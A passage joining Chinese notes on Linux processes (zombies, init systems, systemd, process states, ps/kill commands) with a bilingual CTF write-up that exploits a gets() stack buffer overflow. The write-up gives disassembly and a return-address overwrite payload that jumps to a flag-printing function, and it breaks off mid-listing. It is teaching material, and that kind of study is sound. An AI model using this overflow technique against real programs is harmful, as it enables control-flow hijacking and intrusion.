进程就会代表党和政府出面处理它的一切善后工作。因此孤儿进程并不会有什么危害。 任何一个子进程(init 除外)在 `exit()` 之后,并非马上就消失掉,而是留下一个称为僵尸进程(Zombie)的数据结构,等待父进程处理。这是每个 子进程在结束时都要经过的阶段。如果子进程在 `exit()` 之后,父进程没有来得及处理,这时用 ps 命令就能看到子进程的状态是“Z”。如果父进程能及时 处理,可能用 ps 命令就来不及看到子进程的僵尸状态,但这并不等于子进程不经过僵尸状态。 如果父进程在子进程结束之前退出,则子进程将由 init 接管。init 将会以父进程的身份对僵尸状态的子进程进行处理。 ### 僵尸进程 一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 `wait()` 或 `waitpid()` 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 `wait()` 或 `waitpid()`,那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵死进程。 僵死进程通过 ps 命令显示出来的状态为 Z。 unix 提供了一种机制可以保证只要父进程想知道子进程结束时的状态信息, 就可以得到。这种机制就是: 在每个进程退出的时候,内核释放该进程所有的资源,包括打开的文件,占用的内存等。 但是仍然为其保留一定的信息(包括进程号 the process ID,退出状态 the termination status of the process,运行时间t he amount of CPU time taken by the process等)。直到父进程通过 wait / waitpid 来取时才释放。 但这样就导致了问题,如果进程不调用 wait / waitpid 的话, 那么保留的那段信息就不会释放,其进程号就会一直被占用,但是系统所能使用的进程号是有限的,如果大量的产生僵死进程,将因为没有可用的进程号而导致系统不能产生新的进程. 此即为僵尸进程的危害,应当避免。 要消灭系统中大量的僵死进程,只需要将其父进程杀死,此时所有的僵死进程就会变成孤儿进程,从而被 init 所收养,这样 init 就会释放所有的僵死进程所占有的资源,从而结束僵死进程。 ### PID 每一个进程都有唯一的 ID(PID),是在进程表中识别进程的标识 ### PPID 这个进程的父进程 父进程跟子进程: Linux 下,进程的创建,采用的是 Fork(派生):用一个程序创建一个新进程的方法 。比如我创建一个进程 `ping`,必须通过另外的一个进程来派生,另外的进程就叫做父进程。比如 `ping` 在控制台下运行,是 bash 派生的 fork-exec:先用 fork 生成一个子进程,然后利用 exec 函数族用新进程映像取代调用进程映像。这时候 shell 将等待 fork-exec 子进程执行完毕,并重新显示 shell 提示信息。 ### EUID(effective user id) uid 和 euid 的区别:uid 就是你 login 的时候使用的 id,而 euid 则是你当前的有效 id。比如在 setuid 的程序里面去执行的时候会暂时性将 euid 变成文件所有者的 sid,但是 sid 没变 Linux 进程在运行时有三个 UID - Real UID 执行该进程的用户实际的UID - Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个 UID 是否有权限) - Saved UID 在高权限用户降权后,保留的其原本 UID 通常情况下 Effective UID 和 Real UID 相等,所以普通用户不能写入只有 UID=0 号才可写的 `/etc/passwd`;有suid 的程序启动时,Effective UID 就等于二进制文件的所有者,此时 Real UID 就可能和 Effective UID 不相等了。 ### PID 1 Linux 操作系统的启动首先从 BIOS 开始,然后由 Boot Loader 载入内核,并初始化内核。内核初始化的最后一步就是启动 init 进程。这个进程是系统的第一个进程,PID 为 1,又叫超级进程,也叫根进程。它负责产生其他所有用户进程。所有的进程都会被挂在这个进程下,如果这个进程退出了,那么所有的进程都被 kill 。如果一个子进程的父进程退了,那么这个子进程会被挂到 PID 1 下面。 ### SysV Init PID 1 这个进程非常特殊,其主要就任务是把整个操作系统带入可操作的状态。比如:启动 UI - Shell 以便进行人机交互,或者进入 X 图形窗口。传统上,PID 1 和传统的 Unix System V 相兼容的,所以也叫 sysvinit,这是使用得最悠久的 init 实现。Unix System V 于1983年 release。 在 sysvint 下,有好几个运行模式,又叫 runlevel。比如:常见的 3 级别指定启动到多用户的字符命令行界面,5 级别指定启起到图形界面,0 表示关机,6 表示重启。其配置在 `/etc/inittab` 文件中。 与此配套的还有 `/etc/init.d/` 和 `/etc/rc[X].d`,前者存放各种进程的启停脚本(需要按照规范支持 start,stop 子命令),后者的 X 表示不同的 runlevel 下相应的后台进程服务,如:`/etc/rc3.d` 是 runlevel=3 的。 里面的文件主要是 link 到 `/etc/init.d/` 里的启停脚本。其中也有一定的命名规范:S 或 K 打头的,后面跟一个数字,然后再跟一个自定义的名字,如:S01rsyslog,S02ssh。S 表示启动,K表示停止,数字表示执行的顺序。 ### UpStart Unix 和 Linux 在 sysvint 运作多年后,大约到了2006年的时候,Linux 内核进入2.6时代,Linux 有了很多更新。并且,Linux开始进入桌面系统,而桌面系统和服务器系统不一样的是,桌面系统面临频繁重启,而且,用户会非常频繁的使用硬件的热插拔技术。于是,这些新的场景,让 sysvint 受到了很多挑战。 比如,打印机需要 CUPS 等服务进程,但是如果用户没有打机印,启动这个服务完全是一种浪费,而如果不启动,如果要用打印机了,就无法使用,因为 sysvint 没有自动检测的机制,它只能一次性启动所有的服务。另外,还有网络盘挂载的问题。在 `/etc/fstab` 中,负责硬盘挂载,有时候还有网络硬盘(NFS 或 iSCSI)在其中,但是在桌面机上,有很可能开机的时候是没有网络的, 于是网络硬盘都不可以访问,也无法挂载,这会极大的影响启动速度。sysvinit 采用 netdev 的方式来解决这个问题,也就是说,需要用户自己在 `/etc/fstab` 中给相应的硬盘配置上 netdev 属性,于是 sysvint 启动时不会挂载它,只有在网络可用后,由专门的 netfs 服务进程来挂载。这种管理方式比较难以管理,也很容易让人掉坑。 所以,Ubuntu 开发人员在评估了当时几个可选的 init 系统后,决定重新设计这个系统,于是,这就是我们后面看到的 upstart 。 upstart 基于事件驱动的机制,把之前的完全串行的同步启动服务的方式改成了由事件驱动的异步的方式。比如:如果有U盘插入,udev 得到通知,upstart 感知到这个事件后触发相应的服务程序,比如挂载文件系统等等。因为使用一个事件驱动的玩法,所以,启动操作系统时,很多不必要的服务可以不用启动,而是等待通知,lazy 启动。而且事件驱动的好处是,可以并行启动服务,他们之间的依赖关系,由相应的事件通知完成。 upstart 有着很不错的设计,其中最重要的两个概念是 Job 和 Event。 Job 有一般的 Job,也有 service 的 Job,并且,upstart 管理了整个 Job 的生命周期,比如:Waiting, Starting, pre-Start, Spawned, post-Start, Running, pre-Stop, Stopping, Killed, post-Stop 等等,并维护着这个生命周期的状态机。 Event 分成三类,signal, method 和 hooks。signal 就是异步消息,method 是同步阻塞的。hooks 也是同步的,但介于前面两者之间,发出 hook 事件的进程必须等到事件完成,但不检查是否成功。 但是,upstart 的事件非常复杂,也非常纷乱,各种各样的事件(事件没有归好类)导致有点凌乱。不过因为整个事件驱动的设计比之前的 sysvinit 来说好太多,所以,也深得欢迎。 ### Systemd 直到2010的有一天,一个在 RedHat工作的工程师 Lennart Poettering 和 Kay Sievers ,开始引入了一个新的 init 系统—— systemd。这是一个非常非常有野心的项目,这个项目几乎改变了所有的东西,systemd 不但想取代已有的 init 系统,而且还想干更多的东西。 Lennart 同意 upstart 干的不错,代码质量很好,基于事件的设计也很好。但是他觉得 upstart 也有问题,其中最大的问题还是不够快,虽然 upstart 用事件可以达到一定的启动并行度,但是,本质上来说,这些事件还是会让启动过程串行在一起。 如:NetworkManager 在等 D-Bus 的启动事件,而 D-Bus 在等 syslog 的启动事件。 Lennart 认为,实现上来说,upstart 其实是在管理一个逻辑上的服务依赖树,但是这个服务依赖树在表现形式上比较简单,你只需要配置——“启动 B好了就启动A”或是“停止了A后就停止B”这样的规则。但是,Lennart 说,这种简单其实是有害的(this simplification is actually detrimental)。他认为, - 从一个系统管理的角度出来,他一开始会设定好整个系统启动的服务依赖树,但是这个系统管理员要人肉的把这个本来就非常干净的服务依整树给翻译成计算机看的懂的 Event/Action 形式,而且 Event/Action 这种配置方式是运行时的,所以,你需要运行起来才知道是什么样的。 - Event 逻辑从头到脚到处都是,这个事件扩大了运维的复杂度,还不如之前的 sysvint。 也就是说,当用户配置了 “启动 D-Bus 后请启动 NetworkManager”, 这个 upstart 可以干,但是反过来,如果,用户启动 NetworkManager,我们应该先去启动他的前置依赖 D-Bus,然而你还要配置相应的反向 Event。本来,我只需要配置一条依赖的,结果现在我要配置很多很多情况下的Event。 - 最后,upstart 里的 Event 的并不标准,很混乱,没有良好的定义。比如:既有,进程启动,运行,停止的事件,也有USB设备插入、可用、拔出的事件,还有文件系统设备being mounted、 mounted 和 umounted 的事件,还有AC电源线连接和断开的事件。你会发现,这进程启停的、USB的、文件系统的、电源线的事件,看上去长得很像, 但是没有被标准化抽像出来掉,因为绝大多数的事件都是三元组:start, condition, stop 。这种概念设计模型并没有在 upstart 中出现。因为 upstart 被设计为单一的事件,而忽略了逻辑依赖。 当然,如果 systemd 只是解决 upstart 的问题,他就改造 upstart 就好了,但是 Lennart 的野心不只是想干个这样的事,他想干的更多。 首先,systemd 清醒的认识到了 init 进程的首要目标是要让用户快速的进入可以操作OS的环境,所以,这个速度一定要快,越快越好,所以,systemd 的设计理念就是两条: - To start less. - And to start more in parallel. And to start more in parallel. 也就是说,按需启动,能不启动就不启动,如果要启动,能并行启动就并行启动,包括你们之间有依赖,我也并行启动。按需启动还好理解,那么,有依赖关系的并行启动,它是怎么做到的?这里,systemd 借鉴了 MacOS 的 Launchd 的玩法 要解决这些依赖性,systemd 需要解决好三种底层依赖—— Socket, D-Bus ,文件系统。 - Socket 依赖。如果服务C依赖于服务S的 socket,那么就要先启动S,然后再启动C,因为如果C启动时找不到S的 Socket,那么C就会失败。systemd 可以帮你在S还没有启动好的时候,建立一个 socket,用来接收所有的C的请求和数据,并缓存之,一旦S全部启动完成,把 systemd 替换好的这个缓存的数据和 Socket 描述符替换过去。 - D-Bus 依赖。D-Bus 全称 Desktop Bus,是一个用来在进程间通信的服务。除了用于用户态进程和内核态进程通信,也用于用户态的进程之前。现在,很多的现在的服务进程都用 D-Bus 而不是Socket来通信。比如:NetworkManager 就是通过 D-Bus 和其它服务进程通讯的,也就是说,如果一个进程需要知道网络的状态,那么就必需要通过 D-Bus 通信。D-Bus 支持 “Bus Activation”的特性。也就是说,A要通过 D-Bus 服务和B通讯,但是B没有启动,那么 D-Bus 可以把B起来,在B启动的过程中,D-Bus 帮你缓存数据。systemd 可以帮你利用好这个特性来并行启动 A 和 B。 - 文件系统依赖。系统启动过程中,文件系统相关的活动是最耗时的,比如挂载文件系统,对文件系统进行磁盘检查(fsck),磁盘配额检查等都是非常耗时的操作。在等待这些工作完成的同时,系统处于空闲状态。那些想使用文件系统的服务似乎必须等待文件系统初始化完成才可以启动。systemd 参考了 autofs 的设计思路,使得依赖文件系统的服务和文件系统本身初始化两者可以并发工作。autofs 可以监测到某个文件系统挂载点真正被访问到的时候才触发挂载操作,这是通过内核 automounter 模块的支持而实现的。比如一个 `open()` 系统调用作用在某个文件系统上的时候,而这个文件系统尚未执行挂载,此时 `open()` 调用被内核挂起等待,等到挂载完成后,控制权返回给 `open()` 系统调用,并正常打开文件。这个过程和 autofs 是相似的。 除此之外,systemd 还在启动时管理好了一些下面的事。 用C语言取代传统的脚本式的启动。前面说过,sysvint 用 `/etc/rcX.d` 下的各种脚本启动。然而这些脚本中需要使用 awk, sed, grep, find, xargs 等等这些操作系统的命令,这些命令需要生成进程,生成进程的开销很大,关键是生成完这些进程后,这个进程就干了点屁大的事就退了。换句话说就是,我操作系统干了那么多事为你拉个进程起来,结果你就把个字串转成小写就退了,把我操作系统当什么了? 在正常的一个 sysvinit 的脚本里,可能会有成百上千个这样的命令。所以,慢死。因此,systemd 全面用 C 语言全部取代了。一般来说,sysvinit 下,操作系统启动完成后,用 echo $$ 可以看到,pid 被分配到了上千的样子,而 systemd 的系统只是上百。 另外,systemd 是真正一个可以管住服务进程的——可以跟踪上服务进程所 fork/exec 出来的所有进程。 我们知道, 传统 Unix/Linux 的 Daemon 服务进程的最佳实践基本上是这个样子的 - 进程启动时,关闭所有的打开的文件描述符(除了标准描述符0,1,2),然后重置所有的信号处理。 - 调用 `fork()` 创建子进程,在子进程中 `setsid()`,然后父进程退出(为了后台执行) - 在子进程中,再调用一次 `fork()`,创建孙子进程,确定没有交互终端。然后子进程退出。 - 在孙子进程中,把标准输入标准输出标准错误都连到 `/dev/null` 上,还要创建 pid 文件,日志文件,处理相关信号 …… - 最后才是真正开始提供服务。 在上面的这个过程中,服务进程除了两次 fork 外还会 fork 出很多很多的子进程(比如说一些Web服务进程,会根据用户的请求链接来 fork 子进程),这个进程树是相当难以管理的,因为,一旦父进程退出来了,子进程就会被挂到 PID 1下,所以,基本上来说,你无法通过服务进程自已给定的一个 pid 文件来找到所有的相关进程(这个对开发者的要求太高了),所以,在传统的方式下用脚本启停服务是相当相当的 Buggy 的,因为无法做对所有的服务生出来的子子孙孙做到监控。 为了解决这个问题,upstart 通过变态的 strace 来跟踪进程中的 `fork()` 和 `exec()` 或 `exit()` 等相关的系统调用。这种方法相当笨拙。 systemd 使用了一个非常有意思的玩法来 tracking 服务进程生出来的所有进程,那就是用 cgroup (我在 Docker 的基础技术“cgroup篇”中讲过这个东西)。cgroup主要是用来管理进程组资源配额的事,所以,无论服务如何启动新的子进程,所有的这些相关进程都会同属于一个 cgroup,所以,systemd 只需要简单的去遍历一下相应的 cgroup 的那个虚文件系统目录下的文件,就可以正确的找到所有的相关进程,并将他们一一停止。 另外,systemd 简化了整个 daemon 开发的过程: - 不需要两次 `fork()`,只需要实现服务本身的主逻辑就可以了。 - 不需要 `setsid()`,systemd 会帮你干 - 不需要维护 pid 文件,systemd 会帮处理。 - 不需要管理日志文件或是使用 syslog,或是处理 HUP 的日志 reload 信号。把日志打到 stderr 上,systemd 帮你管理。 - 处理 SIGTERM 信号,这个信号就是正确退出当前服务,不要做其他的事。 - …… 除此之外,systemd 还能—— - 自动检测启动的服务间有没有环形依赖。 - 内建 autofs 自动挂载管理功能。 - 日志服务。systemd 改造了传统的 syslog 的问题,采用二进制格式保存日志,日志索引更快。 - 快照和恢复。对当前的系统运行的服务集合做快照,并可以恢复。 - …… 还有好多好多,他接管很多很多东西 --- ## 监视进程 ```bash ps -aux # 查看进程 ps aux | grep root # 查看 root 运行的程序 ps -ef | grep root # 查看 root 运行的程序 jobs # 显示 Linux 中的任务列表及任务状态 jobs -l # 显示进程号 pidof program # 找出 program 程序的进程 PID pidof -x script # 找出 shell 脚本 script 的进程 PID top # 实时动态地查看系统的整体运行情况 free-h # 显示当前系统未使用的和已使用的内存数目 vmstat 1 # 显示虚拟内存状态 ps # 报告当前系统的进程状态 ps -aux # 显示现在所有用户所有程序 # 由于ps命令能够支持的系统类型相当的多,所以选项多的离谱,这里略 pidstat -u -p ALL # 查看所有进程的 CPU 使用情况 watch <Command> # 以周期性的方式执行给定的指令,指令输出以全屏方式显示. -n : 指定指令执行的间隔时间(秒); -d : 高亮显示指令输出信息不同之处; -t : 不显示标题. ``` --- ## 管理进程 ### 优先级 内核程序利用优先级大小来判断何时及如何安排进程。每个进程都有两个优先级值:*静态值* 和 *动态值*。 - 我们通常讨论的优先级是指静态优先级,因为我们无法控制动态优先级。 - 优先级值的范围从-20到20(实际上为19)。大部分优先级的值为0 - 优先级值小的进程具有更高的优先级。即减少 niceness 值(优先级值)就意味着进程能获得更多的 CPU 时间。 - 子进程会继承父进程的优先级。 `nice` 更改优先级 ```bash nice -19 tar(19 是 niceness) # 把这个 tar 命令执行后的优先级调到最低 ``` `renice` 改变运行中进程的优先级 ```bash renice 19 50 (19 为 niceness,50 为 pid) # 第二个参数是 niceness,第三个参数是 pid ``` ### 杀进程 `kill` 用于杀死(结束)进程 ```bash kill -s STOP <PID> # 删除执行中的程序或工作 kill -l # 显示信号 kill -HUP <pid> # 更改配置而不需停止并重新启动服务 kill -9 <PID> && kill -KILL <pid> # 信号(SIGKILL)无条件终止进程 killall <PID> ``` --- ## 进程状态 Linux中进程的七种状态 - R 运行状态(runing): 并不意味着进程一定在运行中,也可以在运行队列里; - S 睡眠状态(sleeping): 进程在等待事件完成;(浅度睡眠,可以被唤醒) - D 磁盘睡眠状态(Disk sleep): 不可中断睡眠(深度睡眠,不可以被唤醒,通常在磁盘写入时发生) - T 停止状态(stopped): 可以通过发送 SIGSTOP 信号给进程来停止进程,可以发送 SIGCONT 信号让进程继续运行 - Z 僵尸状态(zombie): 子进程退出,父进程还在运行,但是父进程没有读到子进程的退出状态,子进程进入僵尸状态; - X 死亡状态(dead): 该状态是返回状态,在任务列表中看不到; - t 追踪停止状态(trancing stop) **R (TASK_RUNNING),可执行状态** 只有在该状态的进程才可能在 CPU 上运行。而同一时刻可能有多个进程处于可执行状态,这些进程的 task_struct 结构(进程控制块)被放入对应 CPU 的可执行队列中(一个进程最多只能出现在一个 CPU 的可执行队列中)。进程调度器的任务就是从各个 CPU 的可执行队列中分别选择一个进程在该 CPU 上运行。 很多操作系统教科书将正在 CPU 上执行的进程定义为 RUNNING 状态、而将可执行但是尚未被调度执行的进程定义为 READY 状态,这两种状态在 linux 下统一为 TASK_RUNNING 状态。 **S (TASK_INTERRUPTIBLE),可中断的睡眠状态** 处于这个状态的进程因为等待某某事件的发生(比如等待 socket 连接、等待信号量),而被挂起。这些进程的 task_struct 结构被放入对应事件的等待队列中。当这些事件发生时(由外部中断触发、或由其他进程触发),对应的等待队列中的一个或多个进程将被唤醒。 通过 ps 命令我们会看到,一般情况下,进程列表中的绝大多数进程都处于 TASK_INTERRUPTIBLE 状态(除非机器的负载很高)。毕竟 CPU 就这么一两个,进程动辄几十上百个,如果不是绝大多数进程都在睡眠,CPU 又怎么响应得过来。 **D (TASK_UNINTERRUPTIBLE),不可中断的睡眠状态** 与 TASK_INTERRUPTIBLE 状态类似,进程处于睡眠状态,但是此刻进程是不可中断的。不可中断,指的并不是 CPU 不响应外部硬件的中断,而是指进程不响应异步信号。 绝大多数情况下,进程处在睡眠状态时,总是应该能够响应异步信号的。否则你将惊奇的发现,kill -9 竟然杀不死一个正在睡眠的进程了!于是我们也很好理解,为什么 ps 命令看到的进程几乎不会出现 TASK_UNINTERRUPTIBLE 状态,而总是 TASK_INTERRUPTIBLE 状态。 而 TASK_UNINTERRUPTIBLE 状态存在的意义就在于,内核的某些处理流程是不能被打断的。如果响应异步信号,程序的执行流程中就会被插入一段用于处理异步信号的流程(这个插入的流程可能只存在于内核态,也可能延伸到用户态),于是原有的流程就被中断了。 在进程对某些硬件进行操作时(比如进程调用 read 系统调用对某个设备文件进行读操作,而 read 系统调用最终执行到对应设备驱动的代码,并与对应的物理设备进行交互),可能需要使用TASK_UNINTERRUPTIBLE状态对进程进行保护,以避免进程与设备交互的过程被打断,造成设备陷入不可控的状态。这种情况下的TASK_UNINTERRUPTIBLE状态总是非常短暂的,通过ps命令基本上不可能捕捉到。 **T (TASK_STOPPED or TASK_TRACED),暂停状态或跟踪状态** 向进程发送一个 SIGSTOP 信号,它就会因响应该信号而进入 TASK_STOPPED 状态(除非该进程本身处于TASK_UNINTERRUPTIBLE 状态而不响应信号)。(SIGSTOP 与 SIGKILL 信号一样,是非常强制的。不允许用户进程通过signal系列的系统调用重新设置对应的信号处理函数。) 向进程发送一个 SIGCONT 信号,可以让其从 TASK_STOPPED 状态恢复到 TASK_RUNNING 状态。 当进程正在被跟踪时,它处于 TASK_TRACED 这个特殊的状态。“正在被跟踪”指的是进程暂停下来,等待跟踪它的进程对它进行操作。比如在 gdb 中对被跟踪的进程下一个断点,进程在断点处停下来的时候就处于 TASK_TRACED 状态。而在其他时候,被跟踪的进程还是处于前面提到的那些状态。 对于进程本身来说,TASK_STOPPED 和 TASK_TRACED 状态很类似,都是表示进程暂停下来。 而 TASK_TRACED 状态相当于在 TASK_STOPPED 之上多了一层保护,处于 TASK_TRACED 状态的进程不能响应 SIGCONT 信号而被唤醒。只能等到调试进程通过 ptrace 系统调用执行 PTRACE_CONT、PTRACE_DETACH 等操作(通过 ptrace 系统调用的参数指定操作),或调试进程退出,被调试的进程才能恢复 TASK_RUNNING 状态。 **Z (TASK_DEAD - EXIT_ZOMBIE),退出状态,进程成为僵尸进程** 进程在退出的过程中,处于 TASK_DEAD 状态。 在这个退出过程中,进程占有的所有资源将被回收,除了 task_struct 结构(以及少数资源)以外。于是进程就只剩下 task_struct 这么个空壳,故称为僵尸。 之所以保留 task_struct,是因为 task_struct 里面保存了进程的退出码、以及一些统计信息。而其父进程很可能会关心这些信息。比如在 shell 中,$? 变量就保存了最后一个退出的前台进程的退出码,而这个退出码往往被作为 if 语句的判断条件。 当然,内核也可以将这些信息保存在别的地方,而将 task_struct 结构释放掉,以节省一些空间。但是使用 task_struct 结构更为方便,因为在内核中已经建立了从 pid 到 task_struct 查找关系,还有进程间的父子关系。释放掉 task_struct,则需要建立一些新的数据结构,以便让父进程找到它的子进程的退出信息。 父进程可以通过 wait 系列的系统调用(如 wait4、waitid)来等待某个或某些子进程的退出,并获取它的退出信息。然后 wait 系列的系统调用会顺便将子进程的尸体(task_struct)也释放掉。 子进程在退出的过程中,内核会给其父进程发送一个信号,通知父进程来“收尸”。这个信号默认是 SIGCHLD,但是在通过 clone 系统调用创建子进程时,可以设置这个信号。 **X (TASK_DEAD - EXIT_DEAD),退出状态,进程即将被销毁。** 而进程在退出过程中也可能不会保留它的 task_struct。比如这个进程是多线程程序中被 detach 过的进程。或者父进程通过设置 SIGCHLD 信号的 handler 为 SIG_IGN,显式的忽略了 SIGCHLD 信号。(这是 posix 的规定,尽管子进程的退出信号可以被设置为 SIGCHLD 以外的其他信号。) 此时,进程将被置于 EXIT_DEAD 退出状态,这意味着接下来的代码立即就会将该进程彻底释放。所以 EXIT_DEAD 状态是非常短暂的,几乎不可能通过 ps 命令捕捉到。 **进程的初始状态** 进程是通过 fork 系列的系统调用(fork、clone、vfork)来创建的,内核(或内核模块)也可以通过 kernel_thread 函数创建内核进程。这些创建子进程的函数本质上都完成了相同的功能——将调用进程复制一份,得到子进程。(可以通过选项参数来决定各种资源是共享、还是私有。) 那么既然调用进程处于 TASK_RUNNING 状态(否则,它若不是正在运行,又怎么进行调用?),则子进程默认也处于 TASK_RUNNING 状态。 另外,在系统调用调用 clone 和内核函数 kernel_thread 也接受 CLONE_STOPPED 选项,从而将子进程的初始状态置为 TASK_STOPPED。 **进程状态变迁** 进程自创建以后,状态可能发生一系列的变化,直到进程退出。而尽管进程状态有好几种,但是进程状态的变迁却只有两个方向——从 TASK_RUNNING 状态变为非 TASK_RUNNING 状态、或者从非 TASK_RUNNING 状态变为 TASK_RUNNING 状态。 也就是说,如果给一个 TASK_INTERRUPTIBLE 状态的进程发送 SIGKILL 信号,这个进程将先被唤醒(进入 TASK_RUNNING 状态),然后再响应 SIGKILL 信号而退出(变为 TASK_DEAD 状态)。并不会从 TASK_INTERRUPTIBLE 状态直接退出。 进程从非 TASK_RUNNING 状态变为 TASK_RUNNING 状态,是由别的进程(也可能是中断处理程序)执行唤醒操作来实现的。执行唤醒的进程设置被唤醒进程的状态为 TASK_RUNNING,然后将其 task_struct 结构加入到某个 CPU 的可执行队列中。于是被唤醒的进程将有机会被调度执行。 而进程从 TASK_RUNNING 状态变为非 TASK_RUNNING 状态,则有两种途径: 1. 响应信号而进入 TASK_STOPED 状态、或 TASK_DEAD 状态; 2. 执行系统调用主动进入 TASK_INTERRUPTIBLE 状态(如 nanosleep 系统调用)、或 TASK_DEAD 状态(如 exit 系统调用);或由于执行系统调用需要的资源得不到满足,而进入 TASK_INTERRUPTIBLE 状态或 TASK_UNINTERRUPTIBLE 状态(如 select 系统调用)。 显然,这两种情况都只能发生在进程正在 CPU 上执行的情况下。 --- ## Source & Reference - [Linux操作系统中进程的七种状态](https://blog.csdn.net/weixin_39294633/article/details/80231033) - [Linux进程状态解析 之 R、S、D、T、Z、X (主要有三个状态)](https://blog.csdn.net/sdkdlwk/article/details/65938204) - [Linux的进程、线程、文件描述符是什么](https://github.com/labuladong/fucking-algorithm/blob/master/%E6%8A%80%E6%9C%AF/linux%E8%BF%9B%E7%A8%8B.md) - [Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html) - [孤儿进程与僵尸进程[总结]](https://www.cnblogs.com/Anker/p/3271773.html) - [Linux 进程、线程、文件描述符的底层原理](https://zhuanlan.zhihu.com/p/105086274)
sec-knowleage
# Get started (pwn 100) ###ENG [PL](#pl-version) In the task we get an ELF [binary](get_started) to work with. Ret-dec results are: ```c int main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0; } ``` So not much code is executed, but we can see that there is a blatant stack buffer overflow. The task description hints that we don't need to get a shell here, everything is in the binary. So we look at the disassembly and in fact there is: ```asm ; function: get_flag at 0x80489a0 -- 0x8048a1f 0x80489a0: 56 push esi 0x80489a1: 83 ec 08 sub esp, 0x8 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> 0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 ], 0x80cdd68 ; "rt" 0x80489c0: c7 04 24 88 c3 0b 08 mov dword [ esp ], 0x80bc388 ; "flag.txt" 0x80489c7: e8 44 6c 00 00 call 0x804f610 <fopen> 0x80489cc: 89 c6 mov esi, eax 0x80489ce: 89 34 24 mov dword [ esp ], esi 0x80489d1: e8 8a 87 00 00 call 0x8051160 <fgetc> 0x80489d6: 0f b6 c8 movzx ecx, al 0x80489d9: 81 f9 ff 00 00 00 cmp ecx, 0xff 0x80489df: 74 2c jz 0x8048a0d <get_flag+0x6d> 0x80489e1: 0f be c8 movsx ecx, al 0x80489e4: 66 0x80489e5: 66 0x80489e6: 66 0x80489e7: 2e 0x80489e8: 0f 1f 84 00 00 00 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] 0x80489f0: 89 0c 24 mov dword [ esp ], ecx 0x80489f3: e8 a8 6d 00 00 call 0x804f7a0 <putchar> 0x80489f8: 89 34 24 mov dword [ esp ], esi 0x80489fb: e8 60 87 00 00 call 0x8051160 <fgetc> 0x8048a00: 0f be c8 movsx ecx, al 0x8048a03: 0f b6 c0 movzx eax, al 0x8048a06: 3d ff 00 00 00 cmp eax, 0xff 0x8048a0b: 75 e3 jnz 0x80489f0 <get_flag+0x50> 0x8048a0d: 89 34 24 mov dword [ esp ], esi 0x8048a10: e8 bb 67 00 00 call 0x804f1d0 <fclose> 0x8048a15: 83 c4 08 add esp, 0x8 0x8048a18: 5e pop esi 0x8048a19: c3 ret 0x8048a1a: 66 0x8048a1b: 0f 1f 44 00 00 nop dword [ eax + eax * 0x0 + 0x0 ] ``` So we actually already have there a function which will read and print a flag if called. `Checksec` tells us there are no canaries, so we should be able to use buffer overflow in order to overwrite return address from `main()` and jump to `get_flag` function. Looking at `main` in assembly shows: ```asm ; function: main at 0x8048a20 -- 0x8048a4f 0x8048a20: 83 ec 3c sub esp, 0x3c 0x8048a23: c7 04 24 91 c3 0b 08 mov dword [ esp ], 0x80bc391 ; "Qual a palavrinha magica? " 0x8048a2a: e8 b1 66 00 00 call 0x804f0e0 <printf> 0x8048a2f: 8d 44 24 04 lea eax, dword [ esp + 0x4 ] 0x8048a33: 89 04 24 mov dword [ esp ], eax 0x8048a36: e8 f5 6b 00 00 call 0x804f630 <function_804f630> 0x8048a3b: 31 c0 xor eax, eax 0x8048a3d: 83 c4 3c add esp, 0x3c 0x8048a40: c3 ret ``` So we can see that stack frame was created with `sub esp, 0x3c` and therefore there are 60 bytes of stack allocated. 4 bytes go for the return address, so we need to overflow 56 bytes in order to get to the return pointer. We want to change the pointer for address `0x80489a0` which is the start of `get_flag` function. So the necessary payload is: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)` Keep in mind the reversed byte order for the addresses! But this is not enough yet. In the `get_flag` code there is: ```asm 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> ``` Suffice to say that if we take any of those 2 jumps the application will not read the flag for us. So we have to make sure that those stack variables carry those specified values. With the debugger we can quickly calculate that first of those values at `esp + 0x10` is just 4 bytes above the return pointer we just substituted, so we need to extend our payload to: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)` to skip the first check. The next one is at `esp + 0x14` so simply the next 4 bytes, and therefore the final payload requires: `("a"*56)+chr(0xa0)+chr(0x89)+chr(0x04)+chr(0x08)+"a"*4+chr(0x4f)+chr(0xd6)+chr(0x8c)+chr(0x30)+""+chr(0xd1)+chr(0x19)+chr(0x57)+chr(0x19)` Using the payload we get the flag: `3DS{b0f_pr4_c0m3c4r_n3}` ###PL version W zadaniu dostajemy ELFową [binarke](get_started). Wyniki ret-dec: ```c int main(int argc, char ** argv) { printf("Qual a palavrinha magica? "); int32_t str; gets((char *)&str); return 0; } ``` Niewiele wykonywanego kodu, ale widzimy że jest tam ewidentny stack buffer overflow. Zadanie hintuje, że nie trzeba tu zdobywać shella bo wszystko jest już w binarce. Więc zaglądamy do deasemblera a tam faktycznie: ```asm ; function: get_flag at 0x80489a0 -- 0x8048a1f 0x80489a0: 56 push esi 0x80489a1: 83 ec 08 sub esp, 0x8 0x80489a4: 81 7c 24 10 4f d6 8c 30 cmp dword [ esp + 0x10 ], 0x308cd64f 0x80489ac: 75 67 jnz 0x8048a15 <get_flag+0x75> 0x80489ae: 81 7c 24 14 d1 19 57 19 cmp dword [ esp + 0x14 ], 0x195719d1 0x80489b6: 75 5d jnz 0x8048a15 <get_flag+0x75> 0x80489b8: c7 44 24 04 68 dd 0c 08 mov dword [ esp + 0x4 